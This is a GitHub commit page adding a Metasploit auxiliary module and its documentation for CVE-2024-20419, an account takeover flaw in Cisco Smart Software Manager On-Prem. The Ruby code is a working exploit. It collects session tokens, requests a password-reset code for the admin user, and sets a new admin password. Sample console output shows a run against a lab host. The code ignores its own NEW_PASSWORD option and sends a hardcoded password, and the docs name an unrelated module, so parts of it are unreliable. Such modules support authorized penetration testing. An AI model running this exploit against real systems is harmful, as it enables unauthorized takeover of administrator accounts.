Skip to content

Commit 4384d32

Browse files
committed
Cisco SSM On-Prem Account Takeover (CVE-2024-20419)
Cisco SSM On-Prem Account Takeover (CVE-2024-20419)
1 parent 233f6dc commit 4384d32

File tree

2 files changed

+198
-0
lines changed

2 files changed

+198
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
3+
This module exploits an account takeover vulnerability in Cisco SSM On-Prem <= 8-202206 (CVE-2024-20419), by changing the password of the
4+
admin user.
5+
6+
The vendor published an advisory [here]
7+
(https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy). The original research blog
8+
is available [here](https://www.0xpolar.com/blog/CVE-2024-20419).
9+
10+
## Testing
11+
12+
The software can be obtained from the [vendor](https://software.cisco.com/download/home/286285506/type/286326948/release/9-202407).
13+
14+
Deploy it by following the vendor's [installation guide]
15+
(https://www.cisco.com/web/software/286285517/152313/Smart_Software_Manager_On-Prem_8-202006_Installation_Guide.pdf).
16+
17+
**Successfully tested on**
18+
19+
- Cisco Smart Software Manager v8-202206.
20+
21+
## Verification Steps
22+
23+
1. Deploy Cisco Smart Software Manager v8-202206
24+
2. Start `msfconsole`
25+
3. `use auxiliary/admin/http/fortra_filecatalyst_workflow_sqli`
26+
4. `set RHOSTS <IP>`
27+
5. `set NEW_PASSWORD <password>`
28+
6. `run`
29+
7. A new password should have been set for the admin account.
30+
31+
## Options
32+
33+
### NEW_PASSWORD
34+
Password to be used when creating a new user with admin privileges.
35+
36+
## Scenarios
37+
38+
Running the module against Smart Software Manager v8-202206 should result in an output
39+
similar to the following:
40+
41+
```
42+
msf6 > use auxiliary/admin/http/cisco_ssm_onprem_account
43+
msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > set RHOSTS 192.168.137.200
44+
msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > set SSL true
45+
msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > exploit
46+
[*] Running module against 192.168.137.200
47+
48+
[*] Starting workflow...
49+
[+] Server reachable.
50+
[*] xsrf_token: B%2BxNjt72KTh%2BW%2FYhUkSFpTKE5uM1NUkZdBMkle5C1DDpr9P9lPyPDN556BImuPHfSsdy4W4blO8R%2BvtX%2FLK%2B1A%3D%3D
51+
[*] xsrf_token: B+xNjt72KTh+W/YhUkSFpTKE5uM1NUkZdBMkle5C1DDpr9P9lPyPDN556BImuPHfSsdy4W4blO8R+vtX/LK+1A==
52+
[*] _lic_engine_session: f517481befa8b1a7cddcb1d755b8163c
53+
[+] Server reachable.
54+
[*] auth_token: 21bf4695d594af3bd5f0f07db2ce8f09f29abe6f9295e2649e3fa5f266ada2a1
55+
[+] Server reachable.
56+
[*] Auxiliary module execution completed
57+
```
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
4+
def initialize(info = {})
5+
super(
6+
update_info(
7+
info,
8+
'Name' => 'Cisco SSM On-Prem Account Takeover (CVE-2024-20419)',
9+
'Description' => %q{
10+
This module exploits an account takeover vulnerability in Cisco SSM On-Prem <= 8-202206, by changing the
11+
password of the admin user to an attacker-controlled one..
12+
},
13+
'Author' => [
14+
'Mohammed Adel', # Discovery and PoC
15+
'Michael Heinzl' # MSF Module
16+
],
17+
'References' => [
18+
['CVE', '2024-20419'],
19+
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy#vp'],
20+
['URL', 'https://www.0xpolar.com/blog/CVE-2024-20419']
21+
],
22+
'DisclosureDate' => '2024-07-20',
23+
'DefaultOptions' => {
24+
'RPORT' => 8443
25+
},
26+
'License' => MSF_LICENSE,
27+
'Notes' => {
28+
'Stability' => [CRASH_SAFE],
29+
'Reliability' => [REPEATABLE_SESSION],
30+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
31+
}
32+
)
33+
)
34+
35+
register_options([
36+
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)])
37+
])
38+
end
39+
40+
def run
41+
# 1) Request oauth_adfs
42+
print_status('Starting workflow...')
43+
44+
res = send_request_cgi(
45+
'method' => 'GET',
46+
'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),
47+
'vars_get' => {
48+
'hostname' => 'AAAAA'
49+
}
50+
)
51+
52+
unless res
53+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
54+
end
55+
case res.code
56+
when 200
57+
print_good('Server reachable.')
58+
else
59+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
60+
end
61+
62+
raw_res = res.to_s
63+
64+
# Extract XSRF-TOKEN value
65+
xsrf_token_regex = /XSRF-TOKEN=([^;]*)/
66+
xsrf_token = xsrf_token_regex.match(raw_res)
67+
print_status('xsrf_token: ' + xsrf_token[1])
68+
69+
decoded_xsrf_token = decode_url(xsrf_token[1])
70+
print_status('xsrf_token: ' + decoded_xsrf_token)
71+
72+
# Extract _lic_engine_session value
73+
lic_token_regex = /_lic_engine_session=([^;]*)/
74+
lic_token = lic_token_regex.match(raw_res)
75+
decoded_lic_token = decode_url(lic_token[1])
76+
77+
print_status('_lic_engine_session: ' + decoded_lic_token)
78+
79+
# 2) generate_code
80+
payload = '{"uid": "admin"}'
81+
82+
res = send_request_cgi({
83+
'method' => 'POST',
84+
'ctype' => 'application/json',
85+
'headers' => {
86+
'X-Xsrf-Token' => decoded_xsrf_token,
87+
'Cookie' => "_lic_engine_session=#{decoded_lic_token}; XSRF-TOKEN=#{decoded_xsrf_token}"
88+
},
89+
'uri' => normalize_uri(target_uri.path, '/backend/reset_password/generate_code'),
90+
'data' => payload
91+
})
92+
93+
unless res
94+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
95+
end
96+
case res.code
97+
when 200
98+
print_good('Server reachable.')
99+
else
100+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
101+
end
102+
103+
raw_res = res.body
104+
105+
auth_token_regex = /"auth_token":"([^"]*)"/
106+
auth_token = auth_token_regex.match(raw_res)
107+
print_status('auth_token: ' + auth_token[1])
108+
109+
# 3) reset_password
110+
payload = "{\"uid\": \"admin\", \"auth_token\": \"#{auth_token[1]}\", \"password\": \"Testbaaasab@123456780\", \"password_confirmation\": \"Testbaaasab@123456780\", \"common_name\": \"\"}"
111+
112+
res = send_request_cgi({
113+
'method' => 'POST',
114+
'ctype' => 'application/json',
115+
'headers' => {
116+
'X-Xsrf-Token' => decoded_xsrf_token,
117+
'Cookie' => "_lic_engine_session=#{decoded_lic_token}; XSRF-TOKEN=#{decoded_xsrf_token}"
118+
},
119+
'uri' => normalize_uri(target_uri.path, '/backend/reset_password'),
120+
'data' => payload
121+
})
122+
123+
unless res
124+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
125+
end
126+
case res.code
127+
when 200
128+
print_good('Server reachable.')
129+
else
130+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
131+
end
132+
133+
end
134+
135+
def decode_url(encoded_string)
136+
encoded_string.gsub(/%([0-9A-Fa-f]{2})/) do
137+
[::Regexp.last_match(1).to_i(16)].pack('C')
138+
end
139+
end
140+
141+
end

0 commit comments

Comments
 (0)